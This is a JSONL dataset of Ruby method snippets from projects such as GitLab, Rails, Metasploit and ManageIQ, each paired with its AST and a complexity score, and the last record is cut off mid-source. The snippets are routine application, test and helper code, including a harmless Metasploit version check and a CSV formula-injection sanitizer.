{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/shared_examples/services/work_items/data_sync/cloneable_and_moveable_data_stared_examples.rb","start_line":142,"raw_source":"def wi_dates(work_item)\n    [work_item.reload.start_date, work_item.reload.due_date]\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"wi_dates\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_item\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_item\"]},\"reload\"]},\"start_date\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_item\"]},\"reload\"]},\"due_date\"]}]}]}","id":"0e2a07f9-5d2f-4787-90b5-76670a78c4f4"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/postgres/postgres_payload.rb","start_line":80,"raw_source":"def check\n    version = postgres_fingerprint\n\n    if version[:auth]\n      return CheckCode::Appears\n    end\n\n    CheckCode::Safe(\"Authentication failed. #{version[:preauth] || version[:unknown]}\")\n  end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"version\",{\"type\":\"send\",\"children\":[null,\"postgres_fingerprint\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"auth\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Appears\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Authentication failed. \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"preauth\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"unknown\"]}]}]}]}]}]}]}]}","id":"b63a65ba-d1a0-4e7e-afde-ae132b6387e7"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/bim/lib/open_project/bim/bcf_json/viewpoint_reader.rb","start_line":140,"raw_source":"def transform_selections(hash)\n        return unless (selections = hash.dig(\"components\", \"selection\", \"component\"))\n\n        # Ensure selections are an array\n        selections = Array.wrap(selections)\n\n        # Skip any components that have no guid\n        selections.select! { |item| item[\"ifc_guid\"] }\n\n        hash[\"components\"][\"selection\"] = selections\n      end","complexity_score":10.1,"ast_json":"{\"type\":\"def\",\"children\":[\"transform_selections\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hash\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"selections\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"dig\",{\"type\":\"str\",\"children\":[\"components\"]},{\"type\":\"str\",\"children\":[\"selection\"]},{\"type\":\"str\",\"children\":[\"component\"]}]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"selections\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"wrap\",{\"type\":\"lvar\",\"children\":[\"selections\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"selections\"]},\"select!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"item\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ifc_guid\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"str\",\"children\":[\"components\"]}]},\"[]=\",{\"type\":\"str\",\"children\":[\"selection\"]},{\"type\":\"lvar\",\"children\":[\"selections\"]}]}]}]}","id":"232662e6-33f5-4e74-9e40-f3733b537370"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/digest/uuid_test.rb","start_line":36,"raw_source":"def test_v5_uuids_with_rfc4122_namespaced_uuids_enabled\n    assert_equal \"21f7f8de-8051-5b89-8680-0195ef798b6a\", Digest::UUID.uuid_v5(\"6BA7B810-9DAD-11D1-80B4-00C04FD430C8\", \"www.widgets.com\")\n    assert_equal \"21f7f8de-8051-5b89-8680-0195ef798b6a\", Digest::UUID.uuid_v5(\"6ba7b810-9dad-11d1-80b4-00c04fd430c8\", \"www.widgets.com\")\n    assert_equal \"21f7f8de-8051-5b89-8680-0195ef798b6a\", Digest::UUID.uuid_v5(Digest::UUID::DNS_NAMESPACE, \"www.widgets.com\")\n\n    assert_equal \"4e570fd8-186d-5a74-90f0-4d28e34673a1\", Digest::UUID.uuid_v5(\"6BA7B811-9DAD-11D1-80B4-00C04FD430C8\", \"http://www.widgets.com\")\n    assert_equal \"4e570fd8-186d-5a74-90f0-4d28e34673a1\", Digest::UUID.uuid_v5(\"6ba7b811-9dad-11d1-80b4-00c04fd430c8\", \"http://www.widgets.com\")\n    assert_equal \"4e570fd8-186d-5a74-90f0-4d28e34673a1\", Digest::UUID.uuid_v5(Digest::UUID::URL_NAMESPACE, \"http://www.widgets.com\")\n\n    assert_equal \"42d5e23b-3a02-5135-85c6-52d1102f1f00\", Digest::UUID.uuid_v5(\"6BA7B812-9DAD-11D1-80B4-00C04FD430C8\", \"1.2.3\")\n    assert_equal \"42d5e23b-3a02-5135-85c6-52d1102f1f00\", Digest::UUID.uuid_v5(\"6ba7b812-9dad-11d1-80b4-00c04fd430c8\", \"1.2.3\")\n    assert_equal \"42d5e23b-3a02-5135-85c6-52d1102f1f00\", Digest::UUID.uuid_v5(Digest::UUID::OID_NAMESPACE, \"1.2.3\")\n\n    assert_equal \"fd5b2ddf-bcfe-58b6-90d6-db50f74db527\", Digest::UUID.uuid_v5(\"6BA7B814-9DAD-11D1-80B4-00C04FD430C8\", \"cn=John Doe, ou=People, o=Acme, Inc., c=US\")\n    assert_equal \"fd5b2ddf-bcfe-58b6-90d6-db50f74db527\", Digest::UUID.uuid_v5(\"6ba7b814-9dad-11d1-80b4-00c04fd430c8\", \"cn=John Doe, ou=People, o=Acme, Inc., c=US\")\n    assert_equal \"fd5b2ddf-bcfe-58b6-90d6-db50f74db527\", Digest::UUID.uuid_v5(Digest::UUID::X500_NAMESPACE, \"cn=John Doe, ou=People, o=Acme, Inc., c=US\")\n\n    assert_raise ArgumentError do\n      Digest::UUID.uuid_v5(\"A non-UUID string\", \"some value\")\n    end\n  end","complexity_score":29.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_v5_uuids_with_rfc4122_namespaced_uuids_enabled\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"21f7f8de-8051-5b89-8680-0195ef798b6a\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Digest\"]},\"UUID\"]},\"uuid_v5\",{\"type\":\"str\",\"children\":[\"6BA7B810-9DAD-11D1-80B4-00C04FD430C8\"]},{\"type\":\"str\",\"children\":[\"www.widgets.com\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"21f7f8de-8051-5b89-8680-0195ef798b6a\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Digest\"]},\"UUID\"]},\"uuid_v5\",{\"type\":\"str\",\"children\":[\"6ba7b810-9dad-11d1-80b4-00c04fd430c8\"]},{\"type\":\"str\",\"children\":[\"www.widgets.com\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"21f7f8de-8051-5b89-8680-0195ef798b6a\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Digest\"]},\"UUID\"]},\"uuid_v5\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Digest\"]},\"UUID\"]},\"DNS_NAMESPACE\"]},{\"type\":\"str\",\"children\":[\"www.widgets.com\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"4e570fd8-186d-5a74-90f0-4d28e34673a1\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Digest\"]},\"UUID\"]},\"uuid_v5\",{\"type\":\"str\",\"children\":[\"6BA7B811-9DAD-11D1-80B4-00C04FD430C8\"]},{\"type\":\"str\",\"children\":[\"http://www.widgets.com\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"4e570fd8-186d-5a74-90f0-4d28e34673a1\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Digest\"]},\"UUID\"]},\"uuid_v5\",{\"type\":\"str\",\"children\":[\"6ba7b811-9dad-11d1-80b4-00c04fd430c8\"]},{\"type\":\"str\",\"children\":[\"http://www.widgets.com\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"4e570fd8-186d-5a74-90f0-4d28e34673a1\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Digest\"]},\"UUID\"]},\"uuid_v5\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Digest\"]},\"UUID\"]},\"URL_NAMESPACE\"]},{\"type\":\"str\",\"children\":[\"http://www.widgets.com\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"42d5e23b-3a02-5135-85c6-52d1102f1f00\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Digest\"]},\"UUID\"]},\"uuid_v5\",{\"type\":\"str\",\"children\":[\"6BA7B812-9DAD-11D1-80B4-00C04FD430C8\"]},{\"type\":\"str\",\"children\":[\"1.2.3\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"42d5e23b-3a02-5135-85c6-52d1102f1f00\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Digest\"]},\"UUID\"]},\"uuid_v5\",{\"type\":\"str\",\"children\":[\"6ba7b812-9dad-11d1-80b4-00c04fd430c8\"]},{\"type\":\"str\",\"children\":[\"1.2.3\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"42d5e23b-3a02-5135-85c6-52d1102f1f00\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Digest\"]},\"UUID\"]},\"uuid_v5\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Digest\"]},\"UUID\"]},\"OID_NAMESPACE\"]},{\"type\":\"str\",\"children\":[\"1.2.3\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"fd5b2ddf-bcfe-58b6-90d6-db50f74db527\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Digest\"]},\"UUID\"]},\"uuid_v5\",{\"type\":\"str\",\"children\":[\"6BA7B814-9DAD-11D1-80B4-00C04FD430C8\"]},{\"type\":\"str\",\"children\":[\"cn=John Doe, ou=People, o=Acme, Inc., c=US\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"fd5b2ddf-bcfe-58b6-90d6-db50f74db527\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Digest\"]},\"UUID\"]},\"uuid_v5\",{\"type\":\"str\",\"children\":[\"6ba7b814-9dad-11d1-80b4-00c04fd430c8\"]},{\"type\":\"str\",\"children\":[\"cn=John Doe, ou=People, o=Acme, Inc., c=US\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"fd5b2ddf-bcfe-58b6-90d6-db50f74db527\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Digest\"]},\"UUID\"]},\"uuid_v5\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Digest\"]},\"UUID\"]},\"X500_NAMESPACE\"]},{\"type\":\"str\",\"children\":[\"cn=John Doe, ou=People, o=Acme, Inc., c=US\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Digest\"]},\"UUID\"]},\"uuid_v5\",{\"type\":\"str\",\"children\":[\"A non-UUID string\"]},{\"type\":\"str\",\"children\":[\"some value\"]}]}]}]}]}","id":"06555b0a-47b2-4bca-bb1f-866cb83484a6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/background_migration/backfill_default_organization_owners_again.rb","start_line":17,"raw_source":"def perform\n        each_sub_batch do |sub_batch|\n          organization_users_attributes = sub_batch.map do |user|\n            {\n              user_id: user.id,\n              organization_id: ::Organizations::Organization::DEFAULT_ORGANIZATION_ID,\n              access_level: Gitlab::Access::OWNER\n            }\n          end\n\n          ::Organizations::OrganizationUser.upsert_all(\n            organization_users_attributes,\n            returning: false,\n            unique_by: [:organization_id, :user_id]\n          )\n        end\n      end","complexity_score":8.1,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"each_sub_batch\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sub_batch\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"organization_users_attributes\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sub_batch\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"organization_id\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Organizations\"]},\"Organization\"]},\"DEFAULT_ORGANIZATION_ID\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"access_level\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Access\"]},\"OWNER\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Organizations\"]},\"OrganizationUser\"]},\"upsert_all\",{\"type\":\"lvar\",\"children\":[\"organization_users_attributes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"returning\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique_by\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"organization_id\"]},{\"type\":\"sym\",\"children\":[\"user_id\"]}]}]}]}]}]}]}]}","id":"b658820d-78bc-495a-a7f9-6054aa440525"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/activerecord/controller_runtime_test.rb","start_line":68,"raw_source":"def test_log_with_active_record\n    get :show\n\n    assert_equal 2, @logger.logged(:info).size\n    assert_match(/\\(Views: [\\d.]+ms \\| ActiveRecord: [\\d.]+ms \\(0 queries, 0 cached\\) \\| GC: [\\d.]+ms\\)/, @logger.logged(:info)[1])\n  end","complexity_score":8.85,"ast_json":"{\"type\":\"def\",\"children\":[\"test_log_with_active_record\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"show\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@logger\"]},\"logged\",{\"type\":\"sym\",\"children\":[\"info\"]}]},\"size\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\(Views: [\\\\d.]+ms \\\\| ActiveRecord: [\\\\d.]+ms \\\\(0 queries, 0 cached\\\\) \\\\| GC: [\\\\d.]+ms\\\\)\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@logger\"]},\"logged\",{\"type\":\"sym\",\"children\":[\"info\"]}]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}","id":"69bd0bb5-9302-427a-8475-13972f631e2a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/issuable.rb","start_line":617,"raw_source":"def labels_hook_attrs\n    labels.map(&:hook_attrs)\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"labels_hook_attrs\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"labels\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"hook_attrs\"]}]}]}]}","id":"37f2d721-d425-4dab-b3eb-84c6f412d75f"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/url_helper_test.rb","start_line":386,"raw_source":"def test_button_to_with_block_and_hash_url\n    assert_dom_equal(\n      %{<form action=\"/other\" class=\"button_to\" method=\"post\"><button class=\"button\" type=\"submit\">Hello</button></form>},\n      button_to({ controller: \"foo\", action: \"other\" }, class: \"button\") { \"Hello\" }\n    )\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_button_to_with_block_and_hash_url\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"str\",\"children\":[\"<form action=\\\"/other\\\" class=\\\"button_to\\\" method=\\\"post\\\"><button class=\\\"button\\\" type=\\\"submit\\\">Hello</button></form>\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"button_to\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"controller\"]},{\"type\":\"str\",\"children\":[\"foo\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"other\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"str\",\"children\":[\"button\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Hello\"]}]}]}]}","id":"1be7ea9f-697e-4786-b2e4-291132d64c8d"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/config_obsoletion.rb","start_line":66,"raw_source":"def initialize(config)\n      @config = config\n      @rules = load_rules\n      @warnings = []\n    end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"config\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@config\",{\"type\":\"lvar\",\"children\":[\"config\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@rules\",{\"type\":\"send\",\"children\":[null,\"load_rules\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@warnings\",{\"type\":\"array\",\"children\":[]}]}]}]}","id":"c3487c8a-4ae2-4ce7-95fd-50efb377dd49"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/import/reassign_placeholder_user_records_service.rb","start_line":252,"raw_source":"def placeholder_memberships\n      Import::Placeholders::Membership.by_source_user(import_source_user)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"placeholder_memberships\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Import\"]},\"Placeholders\"]},\"Membership\"]},\"by_source_user\",{\"type\":\"send\",\"children\":[null,\"import_source_user\"]}]}]}","id":"e428e401-722a-42a2-8cdc-d940cb4bc73e"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/cookies_test.rb","start_line":347,"raw_source":"def rails_5_2_stable_encrypted_cookie_with_authenticated_encryption_flag_off\n      cookies[:favorite] = \"rTG4zs5UufEFAr+ppKwh+MDMymKyAUMOSaWyYa3uUVmD8sMQqyiyQBxgYeAncDHVZIlo4y+kDVSzp66u1/7BNYpnmFe8ES/YT2m8ckNA23jBDmnRZ9CTNfMIRXjFtfxO9YxEOzzhn0ZiA0/zFtr5wkluXtxplOz959Q7MgLOyvTze2h9p8A=--QHOS3rAEGq/HCxXs--xQNra8dk24Idc2qBtpMLpg==\"\n\n      head :ok\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"rails_5_2_stable_encrypted_cookie_with_authenticated_encryption_flag_off\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cookies\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"favorite\"]},{\"type\":\"str\",\"children\":[\"rTG4zs5UufEFAr+ppKwh+MDMymKyAUMOSaWyYa3uUVmD8sMQqyiyQBxgYeAncDHVZIlo4y+kDVSzp66u1/7BNYpnmFe8ES/YT2m8ckNA23jBDmnRZ9CTNfMIRXjFtfxO9YxEOzzhn0ZiA0/zFtr5wkluXtxplOz959Q7MgLOyvTze2h9p8A=--QHOS3rAEGq/HCxXs--xQNra8dk24Idc2qBtpMLpg==\"]}]},{\"type\":\"send\",\"children\":[null,\"head\",{\"type\":\"sym\",\"children\":[\"ok\"]}]}]}]}","id":"15318734-0976-4df4-a03b-e3ce8475b713"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/services/hashtag_autocomplete_service.rb","start_line":26,"raw_source":"def self.contextual_type_priorities\n    # Category and Tag type priorities for the composer are default and\n    # always are included.\n    Set.new(\n      DEFAULT_CONTEXTUAL_TYPE_PRIORITIES |\n        DiscoursePluginRegistry.hashtag_autocomplete_contextual_type_priorities,\n    )\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"contextual_type_priorities\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Set\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DEFAULT_CONTEXTUAL_TYPE_PRIORITIES\"]},\"|\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscoursePluginRegistry\"]},\"hashtag_autocomplete_contextual_type_priorities\"]}]}]}]}","id":"144d0c6b-f71c-4d84-b6fe-23d2fbe83256"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/manageiq/providers/embedded_ansible/automation_manager/configuration_script_source.rb","start_line":4,"raw_source":"def self.display_name(number = 1)\n    n_('Repository (Embedded Ansible)', 'Repositories (Embedded Ansible)', number)\n  end","complexity_score":2.25,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"display_name\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"number\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[null,\"n_\",{\"type\":\"str\",\"children\":[\"Repository (Embedded Ansible)\"]},{\"type\":\"str\",\"children\":[\"Repositories (Embedded Ansible)\"]},{\"type\":\"lvar\",\"children\":[\"number\"]}]}]}","id":"1aaf082f-8b14-474c-95ff-54e529c066cc"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/patches/ruport_patch.rb","start_line":34,"raw_source":"def build_table_body\n      data.each do |row|\n        row_data = row.map do |column_value|\n          column_value.insert(0, \"'\") if column_value.kind_of?(String) && column_value.match?(/^\\s*[@=+-]/) && column_value.match?(/[(!\\/]/)\n          column_value\n        end\n\n        csv_writer << row_data\n      end\n    end","complexity_score":19.9,"ast_json":"{\"type\":\"def\",\"children\":[\"build_table_body\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"data\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"row_data\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"column_value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column_value\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"String\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column_value\"]},\"match?\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^\\\\s*[@=+-]\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column_value\"]},\"match?\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"[(!/]\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column_value\"]},\"insert\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"str\",\"children\":[\"'\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"column_value\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"csv_writer\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"row_data\"]}]}]}]}]}","id":"186617d9-11eb-4ffe-a469-4ba8c041ffb0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/license_template_finder.rb","start_line":33,"raw_source":"def template_names\n    ::Gitlab::Template::BaseTemplate.template_names_by_category(vendored_licenses)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"template_names\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Template\"]},\"BaseTemplate\"]},\"template_names_by_category\",{\"type\":\"send\",\"children\":[null,\"vendored_licenses\"]}]}]}","id":"7fd9cc77-5dc0-467a-9639-894ec168d1f7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/helpers/settings_helpers.rb","start_line":12,"raw_source":"def self.optional_attributes\n        [\n          *::ApplicationSettingsHelper.visible_attributes,\n          *::ApplicationSettingsHelper.external_authorization_service_attributes,\n          *::ApplicationSettingsHelper.deprecated_attributes,\n          :performance_bar_allowed_group_id,\n          # TODO: Once we rename these columns, we can remove them here and add the old\n          # names to `ApplicationSettingsHelper.deprecated_attributes` instead.\n          # https://gitlab.com/gitlab-org/gitlab/-/issues/340031\n          :throttle_unauthenticated_web_enabled,\n          :throttle_unauthenticated_web_period_in_seconds,\n          :throttle_unauthenticated_web_requests_per_period\n        ].freeze\n      